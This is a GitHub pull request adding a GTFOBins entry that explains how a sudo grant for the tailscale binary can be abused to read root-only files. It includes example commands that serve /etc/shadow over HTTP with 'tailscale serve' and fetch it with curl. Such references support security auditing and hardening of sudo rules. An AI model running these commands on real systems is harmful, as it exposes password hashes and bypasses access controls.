Skip to content

Add tailscale binary for sudo file-read #517

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Add tailscale binary for sudo file-read #517

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions _gtfobins/tailscale.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
---
description: |
If the `tailscale` binary is allowed via `sudo`, it can be abused to read arbitrary root-readable files
using the `serve` subcommand. This launches an HTTP server (accessible within the same Tailnet)
that exposes the specified file without further access control.

functions:
sudo:
- description: |
If the user can run `/usr/bin/tailscale` as root via `sudo`, they can serve and read any file
accessible by root. The file becomes reachable via a Tailscale-assigned domain over HTTP.

Example `sudoers` entry:
```
ray ALL=(ALL) NOPASSWD: /usr/bin/tailscale
```

Example exploitation:
```
sudo tailscale serve --http=8888 /etc/shadow
curl http://<hostname>.<tailnet>.ts.net:8888/
```
code: |
sudo tailscale serve --http=8888 /etc/shadow
curl http://<hostname>.<tailnet>.ts.net:8888/
---